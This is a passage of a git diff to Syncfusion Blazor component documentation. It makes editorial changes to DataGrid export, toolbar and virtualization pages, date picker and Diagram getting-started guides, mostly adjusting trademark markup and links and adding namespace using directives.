@@ -21,7 +21,7 @@ These templates are preserved during PDF export, allowing the resulting document
 
 ## Exporting with column template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting columns that use templates to a PDF document. Template columns can include **images**, **hyperlinks**, and **custom text**.
+The Blazor DataGrid supports exporting columns that use templates to a PDF document. Template columns can include **images**, **hyperlinks**, and **custom text**.
 
 To export template columns to a PDF document:
 
@@ -145,7 +145,7 @@ public class EmployeeData
 
 ## Exporting with group caption template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting grouped data along with a custom caption template to a PDF document. This feature is useful for adding meaningful group captions such as record counts or group keys to the exported file.
+The Blazor DataGrid supports exporting grouped data along with a custom caption template to a PDF document. This feature is useful for adding meaningful group captions such as record counts or group keys to the exported file.
 
 To customize group caption text in the exported PDF document:
 
@@ -260,7 +260,7 @@ public class OrderData
 
 ## Exporting with detail template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting both parent and child (detail) records, including nested data, to a PDF document.
+The Blazor DataGrid supports exporting both parent and child (detail) records, including nested data, to a PDF document.
 
 By default, the DataGrid exports only the parent rows along with expanded detail rows. To customize this behavior, configure the [PdfDetailRowMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfDetailRowMode.html) property of [PdfExportProperties](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html) inside the [OnToolbarClick](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnToolbarClick) event, and pass it to the [ExportToPdfAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ExportToPdfAsync_Syncfusion_Blazor_Grids_PdfExportProperties_) method.
 
@@ -614,7 +614,7 @@ public class ProductData
 
 ## Exporting hierarchical Blazor DataGrid using detail template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting hierarchical data to a PDF document using the detail template feature. This is useful when parent rows contain nested child records, such as employee details with related orders.
+The Blazor DataGrid supports exporting hierarchical data to a PDF document using the detail template feature. This is useful when parent rows contain nested child records, such as employee details with related orders.
 
 To export hierarchical DataGrid data to a PDF document:
 
diff --git a/blazor/datagrid/templates-excel-export.md b/blazor/datagrid/templates-excel-export.md
index a3eaede3fa..c2f852f9ae 100644
--- a/blazor/datagrid/templates-excel-export.md
+++ b/blazor/datagrid/templates-excel-export.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Exporting grid with templates in Syncfusion Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting template content to Excel, enabling rich formatting in exported documents. The following template types are supported:
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports exporting template content to Excel, enabling rich formatting in exported documents. The following template types are supported:
 
 * [Column Template](https://blazor.syncfusion.com/documentation/datagrid/column-template): Custom cell content such as formatted text, images, or hyperlinks.
 * [Caption Template](https://blazor.syncfusion.com/documentation/datagrid/caption-template): Group caption rows with customized display elements.
@@ -19,7 +19,7 @@ These templates are preserved during export, allowing the resulting Excel file t
 
 ## Exporting with column template
 
-The Excel export functionality in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting columns that use templates containing images, hyperlinks, and custom text.
+The Excel export functionality in Blazor DataGrid supports exporting columns that use templates containing images, hyperlinks, and custom text.
 
 To export template columns to an Excel document:
 
@@ -145,7 +145,7 @@ public class EmployeeData
 
 ## Exporting with group caption template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting grouped data along with a custom caption template to an Excel document. This feature is useful for adding meaningful group captions such as record counts or group keys to the exported file.
+The Blazor DataGrid supports exporting grouped data along with a custom caption template to an Excel document. This feature is useful for adding meaningful group captions such as record counts or group keys to the exported file.
 
 To customize group caption text in the exported Excel document:
 
@@ -262,7 +262,7 @@ public class OrderData
 
 ## Exporting with detail template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting both parent and child (detail) records including nested data to an Excel document.
+The Blazor DataGrid supports exporting both parent and child (detail) records including nested data to an Excel document.
 
 By default, the Grid exports only the parent rows along with expanded detail rows. To customize this behavior, configure the [ExcelDetailRowMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ExcelExportProperties.html#Syncfusion_Blazor_Grids_ExcelExportProperties_ExcelDetailRowMode) property of [ExcelExportProperties](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ExcelExportProperties.html) inside the [OnToolbarClick](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnToolbarClick) event, and pass it to the [ExportToExcelAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ExportToExcelAsync_Syncfusion_Blazor_Grids_ExcelExportProperties_) or [ExportToCsvAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ExportToCsvAsync_Syncfusion_Blazor_Grids_ExcelExportProperties_) method.
 
@@ -600,7 +600,7 @@ public class ProductData
 
 ## Exporting hierarchical Grid using detail template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports exporting hierarchical data to Excel using the detail template feature. This is useful when parent rows contain nested child records, such as employee details with related orders.
+The Blazor DataGrid supports exporting hierarchical data to Excel using the detail template feature. This is useful when parent rows contain nested child records, such as employee details with related orders.
 
 To export hierarchical Grid data to an Excel document:
 
diff --git a/blazor/datagrid/tool-bar.md b/blazor/datagrid/tool-bar.md
index 09fe30aad6..a906f3f0de 100644
--- a/blazor/datagrid/tool-bar.md
+++ b/blazor/datagrid/tool-bar.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Toolbar in Blazor DataGrid
 
-The toolbar in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides quick access to common actions such as adding, editing, deleting, printing, and exporting data (Excel, CSV, PDF).
+The toolbar in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides quick access to common actions such as adding, editing, deleting, printing, and exporting data (Excel, CSV, PDF).
 
 The toolbar can be configured with built-in toolbar items or custom items using the [Toolbar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Toolbar) property. The `Toolbar` property accepts:
 - An array of strings for built-in items
@@ -88,7 +88,7 @@ The toolbar can be configured with built-in toolbar items or custom items using
 
 Enable or disable toolbar items dynamically to control which actions are available based on application logic or user interactions.
 
-Toolbar items in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be enabled or disabled dynamically using the [EnableToolbarItemsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableToolbarItemsAsync_System_Collections_Generic_List_System_String__System_Boolean_) method. This provides programmatic control over the availability of specific items by their IDs. For built-in toolbar items specified with strings, the Grid generates IDs (for example, **Grid_Add, Grid_Edit**). For custom items created with ItemModel, set the Id property explicitly and use it when enabling or disabling items.
+Toolbar items in the Blazor DataGrid can be enabled or disabled dynamically using the [EnableToolbarItemsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableToolbarItemsAsync_System_Collections_Generic_List_System_String__System_Boolean_) method. This provides programmatic control over the availability of specific items by their IDs. For built-in toolbar items specified with strings, the Grid generates IDs (for example, **Grid_Add, Grid_Edit**). For custom items created with ItemModel, set the Id property explicitly and use it when enabling or disabling items.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
diff --git a/blazor/datagrid/toolbar-items.md b/blazor/datagrid/toolbar-items.md
index 4caccbd04e..8704bb635e 100644
--- a/blazor/datagrid/toolbar-items.md
+++ b/blazor/datagrid/toolbar-items.md
@@ -9,11 +9,11 @@ documentation: ug
 
 # Toolbar items in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid offers a flexible toolbar that enables the addition of custom toolbar items or modification of existing ones. The toolbar appears above the DataGrid, providing convenient access to common actions and custom functionality.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) offers a flexible toolbar that enables the addition of custom toolbar items or modification of existing ones. The toolbar appears above the DataGrid, providing convenient access to common actions and custom functionality.
 
 ## Built-in Toolbar item
 
-Built-in toolbar items in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid use predefined actions to perform standard operations.
+Built-in toolbar items in the Blazor DataGrid use predefined actions to perform standard operations.
 
 Add them by defining the [Toolbar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Toolbar) property as a collection of built-in item names (strings). Each item is rendered as a button with an icon and text. The following table lists the built-in toolbar items and their actions:
 
@@ -191,7 +191,7 @@ To show only icons, hide the text part of the buttons using CSS. For accessibili
 
 ### Customize the built-in toolbar items
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing built-in toolbar items, including disabling default actions and executing custom logic when a button is clicked.
+The Blazor DataGrid allows customizing built-in toolbar items, including disabling default actions and executing custom logic when a button is clicked.
 
 Handle the [OnToolbarClick](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnToolbarClick) event to intercept actions. Prefer checking **args.Item.Id** for reliability (IDs are stable and not affected by localization), although Text is also available.
 
@@ -281,7 +281,7 @@ public class OrderData
 
 ## Custom Toolbar Items
 
-Adding custom toolbar items to the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables personalized functionality.
+Adding custom toolbar items to the Blazor DataGrid enables personalized functionality.
 
 Define custom items by setting the [Toolbar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Toolbar) property to a collection of [ItemModel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.ItemModel.html#Syncfusion_Blazor_Navigations_ItemModel__ctor) objects, and handle actions in the [OnToolbarClick](https://blazor.syncfusion.com/documentation/datagrid/events#ontoolbarclick) event.
 
diff --git a/blazor/datagrid/virtual-scrolling.md b/blazor/datagrid/virtual-scrolling.md
index 890e868921..7f3a20ce93 100644
--- a/blazor/datagrid/virtual-scrolling.md
+++ b/blazor/datagrid/virtual-scrolling.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Virtual scrolling in Blazor DataGrid
 
-The virtual scrolling feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid efficiently handles large datasets by rendering only the rows currently visible in the viewport instead of the entire data source. This reduces DOM size, improves responsiveness, and lowers initial load time for datasets with thousands of records.
+The virtual scrolling feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) efficiently handles large datasets by rendering only the rows currently visible in the viewport instead of the entire data source. This reduces DOM size, improves responsiveness, and lowers initial load time for datasets with thousands of records.
 
 {% youtube "youtube:https://www.youtube.com/watch?v=GrxmYYQPJPE"%}
 
@@ -85,7 +85,7 @@ public class TaskDetails
 
 ### Render buffered data using Overscan count
 
-The [OverscanCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_OverscanCount) property in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid improves perceived scrolling performance by pre-rendering a buffer of rows before and after the visible viewport. This reduces the frequency of data fetches and DOM updates for smoother scrolling, and applies during both initial rendering and virtual scrolling.
+The [OverscanCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_OverscanCount) property in the Blazor DataGrid improves perceived scrolling performance by pre-rendering a buffer of rows before and after the visible viewport. This reduces the frequency of data fetches and DOM updates for smoother scrolling, and applies during both initial rendering and virtual scrolling.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -199,7 +199,7 @@ public class OrderDetails
 
 ## Column virtualization
 
-Column virtualization in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid improves performance when many columns are present by rendering only the columns visible in the viewport. As the user scrolls horizontally, additional columns are loaded dynamically. This reduces initial render time and memory usage.
+Column virtualization in Blazor DataGrid improves performance when many columns are present by rendering only the columns visible in the viewport. As the user scrolls horizontally, additional columns are loaded dynamically. This reduces initial render time and memory usage.
 
 Enable it by setting [EnableColumnVirtualization](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableColumnVirtualization) to **true**. For predictable behavior, assign explicit widths to columns (see [GridColumn.Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Width)).
 
@@ -386,7 +386,7 @@ public class VirtualData
 
 ### Column virtualization with row virtualization
 
-Column virtualization in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid renders only the columns currently visible in the viewport and loads additional columns as the user scrolls horizontally. This technique improves performance and reduces initial render time, especially when working with a large number of columns.
+Column virtualization in Blazor DataGrid renders only the columns currently visible in the viewport and loads additional columns as the user scrolls horizontally. This technique improves performance and reduces initial render time, especially when working with a large number of columns.
 
 [EnableVirtualization](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableVirtualization): Renders only the visible rows. Additional rows are loaded dynamically during vertical scrolling.
 
@@ -595,7 +595,7 @@ public class OrderDetails
 
 ## Enable cell placeholder during Virtualization
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid offers an option to display cell placeholders while new data is being loaded during row or column virtualization. This feature improves user experience by showing a visual indicator (loading placeholder) in grid cells while data is being fetched. It is especially beneficial when working with large datasets or when virtualization is used to load data dynamically as scrolling occurs.
+The Blazor DataGrid offers an option to display cell placeholders while new data is being loaded during row or column virtualization. This feature improves user experience by showing a visual indicator (loading placeholder) in grid cells while data is being fetched. It is especially beneficial when working with large datasets or when virtualization is used to load data dynamically as scrolling occurs.
 
 Set [EnableVirtualMaskRow](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableVirtualMaskRow) to **true** to reuse DOM elements and show placeholders until the incoming data is rendered.
 
@@ -688,7 +688,7 @@ public class OrderDetails
 
 ## Frozen columns virtualization
 
-Frozen columns virtualization in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables efficient rendering of frozen and movable columns alongside row virtualization. Frozen columns remain fixed while movable columns and rows are virtualized to ensure smooth horizontal and vertical scrolling.
+Frozen columns virtualization in Blazor DataGrid enables efficient rendering of frozen and movable columns alongside row virtualization. Frozen columns remain fixed while movable columns and rows are virtualized to ensure smooth horizontal and vertical scrolling.
 
 **Column Virtualization:** Renders only visible columns while keeping frozen columns fixed in place.
 
@@ -885,7 +885,7 @@ public class VirtualData
 
 ## Scroll the content by external button
 
-In certain scenarios, it may be necessary to programmatically scroll the Grid content into view rather than relying on manual scrolling. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides the [ScrollIntoViewAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ScrollIntoViewAsync_System_Int32_System_Int32_System_Int32_) method, which enables scrolling to a specific row or column by passing their respective indices as parameters.
+In certain scenarios, it may be necessary to programmatically scroll the Grid content into view rather than relying on manual scrolling. The Blazor DataGrid provides the [ScrollIntoViewAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ScrollIntoViewAsync_System_Int32_System_Int32_System_Int32_) method, which enables scrolling to a specific row or column by passing their respective indices as parameters.
 To ensure smooth scrolling behavior, virtualization must be enabled in the Grid.
 
 * **Horizontal scrolling:** enable both [EnableVirtualization](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableVirtualization) and [EnableColumnVirtualization](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableColumnVirtualization).
@@ -992,7 +992,7 @@ public class OrderDetails
 
 ## Refresh virtualized Grid externally
 
-The [UpdatePageSizeAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UpdatePageSizeAsync_System_Int32_System_Int32_) method in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid refreshes the virtualized Grid’s PageSize externally by using the specified Grid height or container height along with the row height. This method calculates the `PageSize` programmatically and updates the Grid with the new value.
+The [UpdatePageSizeAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UpdatePageSizeAsync_System_Int32_System_Int32_) method in the Blazor DataGrid refreshes the virtualized Grid’s PageSize externally by using the specified Grid height or container height along with the row height. This method calculates the `PageSize` programmatically and updates the Grid with the new value.
 
 To enable external refresh of the virtualized Grid, set [EnableVirtualization](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableVirtualization)  to **true**.
 
diff --git a/blazor/datagrid/webassembly-performance.md b/blazor/datagrid/webassembly-performance.md
index 45124e2f50..781017ee8b 100644
--- a/blazor/datagrid/webassembly-performance.md
+++ b/blazor/datagrid/webassembly-performance.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # WebAssembly performance in Blazor DataGrid
 
-This section outlines performance guidelines for using the Syncfusion Blazor DataGrid efficiently in Blazor WebAssembly applications. General Blazor WebAssembly performance guidance is available in the [Microsoft documentation](https://learn.microsoft.com/en-us/aspnet/core/blazor/performance/?view=aspnetcore-9.0).
+This section outlines performance guidelines for using the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) efficiently in Blazor WebAssembly applications. General Blazor WebAssembly performance guidance is available in the [Microsoft documentation](https://learn.microsoft.com/en-us/aspnet/core/blazor/performance/?view=aspnetcore-9.0).
 
 N> Refer to Getting Started for configuration details: [Blazor Server DataGrid](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) and [Blazor WebAssembly DataGrid](https://blazor.syncfusion.com/documentation/datagrid/how-to/blazor-webassembly-datagrid-using-visual-studio)  using Visual Studio.
 
diff --git a/blazor/datepicker/getting-started-with-server-app.md b/blazor/datepicker/getting-started-with-server-app.md
index 50c32e7f45..f2a6672902 100644
--- a/blazor/datepicker/getting-started-with-server-app.md
+++ b/blazor/datepicker/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfDatePicker TValue="DateTime?" Placeholder='Choose a Date'></SfDatePicker>
 
 {% endhighlight %}
@@ -177,6 +179,8 @@ The following example demonstrates how to set the [Value](https://help.syncfusio
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfDatePicker TValue="DateTime?" Value='@DateValue' Min='@MinDate' Max='@MaxDate'></SfDatePicker>
 
 @code {
diff --git a/blazor/datepicker/getting-started-with-web-app.md b/blazor/datepicker/getting-started-with-web-app.md
index b86c3af5f6..c53376bde8 100644
--- a/blazor/datepicker/getting-started-with-web-app.md
+++ b/blazor/datepicker/getting-started-with-web-app.md
@@ -165,6 +165,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfDatePicker TValue="DateTime?" Placeholder='Choose a Date'></SfDatePicker>
 
 {% endhighlight %}
@@ -181,6 +183,8 @@ The following example demonstrates how to set the [Value](https://help.syncfusio
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfDatePicker TValue="DateTime?" Value='@DateValue' Min='@MinDate' Max='@MaxDate'></SfDatePicker>
 
 @code {
diff --git a/blazor/daterangepicker/getting-started-with-server-app.md b/blazor/daterangepicker/getting-started-with-server-app.md
index 9f16c5d69b..55d310460a 100644
--- a/blazor/daterangepicker/getting-started-with-server-app.md
+++ b/blazor/daterangepicker/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfDateRangePicker TValue="DateTime?" Placeholder="Choose a Range"></SfDateRangePicker>
 
 {% endhighlight %}
@@ -177,6 +179,8 @@ The minimum and maximum date range can be defined with the help of [Min](https:/
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfDateRangePicker TValue="DateTime?" Placeholder="Choose a Range" Min="@MinDate" Max="@MaxDate"></SfDateRangePicker>
 
 @code {
diff --git a/blazor/daterangepicker/getting-started-with-web-app.md b/blazor/daterangepicker/getting-started-with-web-app.md
index 70764f2c26..d40060dd22 100644
--- a/blazor/daterangepicker/getting-started-with-web-app.md
+++ b/blazor/daterangepicker/getting-started-with-web-app.md
@@ -165,6 +165,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfDateRangePicker TValue="DateTime?" Placeholder="Choose a Range"></SfDateRangePicker>
 
 {% endhighlight %}
@@ -181,6 +183,8 @@ The minimum and maximum date range can be defined with the help of [Min](https:/
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfDateRangePicker TValue="DateTime?" Placeholder="Choose a Range" Min="@MinDate" Max="@MaxDate"></SfDateRangePicker>
 
 @code {
diff --git a/blazor/datetime-picker/getting-started-with-server-app.md b/blazor/datetime-picker/getting-started-with-server-app.md
index cfd81c3029..05bff64123 100644
--- a/blazor/datetime-picker/getting-started-with-server-app.md
+++ b/blazor/datetime-picker/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfDateTimePicker TValue="DateTime?" Placeholder='Select a date and time'></SfDateTimePicker>
 
 {% endhighlight %}
@@ -177,6 +179,8 @@ The minimum and maximum date time can be defined with the help of [Min](https://
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfDateTimePicker TValue="DateTime?" Value="@DateValue" Min="@MinDate" Max="@MaxDate"></SfDateTimePicker>
 
 @code{
diff --git a/blazor/datetime-picker/getting-started-with-web-app.md b/blazor/datetime-picker/getting-started-with-web-app.md
index 287f02dd40..c021a216ab 100644
--- a/blazor/datetime-picker/getting-started-with-web-app.md
+++ b/blazor/datetime-picker/getting-started-with-web-app.md
@@ -165,6 +165,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfDateTimePicker TValue="DateTime?" Placeholder='Select a date and time'></SfDateTimePicker>
 
 {% endhighlight %}
@@ -181,6 +183,8 @@ The minimum and maximum date time can be defined with the help of [Min](https://
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfDateTimePicker TValue="DateTime?" Value="@DateValue" Min="@MinDate" Max="@MaxDate"></SfDateTimePicker>
 
 @code{
diff --git a/blazor/diagram/Blazor-PostgreSQL.md b/blazor/diagram/Blazor-PostgreSQL.md
index 70f852fa39..7d230dc569 100644
--- a/blazor/diagram/Blazor-PostgreSQL.md
+++ b/blazor/diagram/Blazor-PostgreSQL.md
@@ -709,10 +709,9 @@ dotnet run
 
 ### No data in Diagram
 
-- Verify that `DataSourceSettings` uses the correct property names:
+- Verify that `DataSourceSettings` uses the correct property names. These property names must exactly match the model returned by the API:
   - `ID="Id"`
   - `ParentID="ParentId"`
-  These property names must exactly match the model returned by the API.
 - Check the browser developer console (F12) for errors from `LayoutService` class.
 - Ensure migrations completed successfully and that seed data exists in the database
   (you may verify this directly in PostgreSQL).
@@ -729,9 +728,9 @@ You can clone the repository, update the PostgreSQL connection string, apply mig
 
 This guide demonstrates how to:
 
-1. Install PostgreSQL. [🔗](#Installing-PostgreSQL)
-2. Create a PostgreSQL database with layout nodes using pgAdmin 4. [🔗](#PostgreSQL-database-setup)
-3. Configure backend implementations. [🔗](#Backend-implementation)
+1. Install PostgreSQL. [🔗](#installing-postgresql)
+2. Create a PostgreSQL database with layout nodes using pgAdmin 4. [🔗](#postgresql-database-setup)
+3. Configure backend implementations. [🔗](#backend-implementation)
 4. Create data models and DbContext for database communication with PostgreSQL-specific configuration. [🔗](#step-2-create-the-data-model)
 5. Configure connection strings and register services. [🔗](#step-4-configure-the-connection-string)
 6. HTTP service abstraction for data access using helper methods. [🔗](#step-6-create-the-layoutservice-class)
@@ -740,6 +739,5 @@ This guide demonstrates how to:
 The application now provides a complete solution for visualizing organizational chart data from PostgreSQL.
 
 ## See Also
-
-- **Data Binding** – https://blazor.syncfusion.com/documentation/diagram/data-binding#how-to-specify-parent-child-relationship-in-data-source
-- **Organizational Chart Layout** – https://blazor.syncfusion.com/documentation/diagram/layout/organizational-chart
+- [Data Binding](https://blazor.syncfusion.com/documentation/diagram/data-binding#how-to-specify-parent-child-relationship-in-data-source)
+- [Organizational Chart Layout](https://blazor.syncfusion.com/documentation/diagram/layout/organizational-chart)
diff --git a/blazor/diagram/connectors/segments.md b/blazor/diagram/connectors/segments.md
new file mode 100644
index 0000000000..29b25a0187
--- /dev/null
+++ b/blazor/diagram/connectors/segments.md
@@ -0,0 +1,24 @@
+---
+layout: post
+title: Connector Segments in Blazor Diagram Component | Syncfusion
+description: Check out and learn about Connector Segments in Syncfusion Blazor Diagram component and much more details.
+platform: Blazor
+control: Diagram Component
+documentation: ug
+---
+
+# Segments in Blazor Diagram Component
+
+The path of the connector is defined with a collection of segments. Each segment determines how the connector travels between its source and target points. The Diagram component supports the following types of segments.
+
+* Straight Segments
+* Orthogonal Segments
+* Bezier Segments
+
+## See also
+
+* [How to create a Straight Segments](../connectors/connector-segments/straight.md)
+
+* [How to create a Orthogonal Segments](../connectors/connector-segments/orthogonal.md)
+
+* [How to create a Bezier Segments](../connectors/connector-segments/bezier/bezier.md)
\ No newline at end of file
diff --git a/blazor/diagram/getting-started-with-maui-app.md b/blazor/diagram/getting-started-with-maui-app.md
index f5ee7739ff..91713a1933 100644
--- a/blazor/diagram/getting-started-with-maui-app.md
+++ b/blazor/diagram/getting-started-with-maui-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with the Diagram Component in the Blazor MAUI App
 
-This guide walks through the step-by-step process of integrating the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component into a Blazor MAUI application using either Visual Studio or Visual Studio Code.
+This guide walks through the step-by-step process of integrating the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram](https://www.syncfusion.com/blazor-components/blazor-diagram) component in a Blazor MAUI App using both [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
@@ -21,313 +21,59 @@ This guide walks through the step-by-step process of integrating the Syncfusion<
 
 To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/MAUI/get-started/installation?tabs=vswin) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
 
-## Step 1: How to Create a New Blazor MAUI App in Visual Studio
+## Create a new Blazor MAUI App in Visual Studio
 
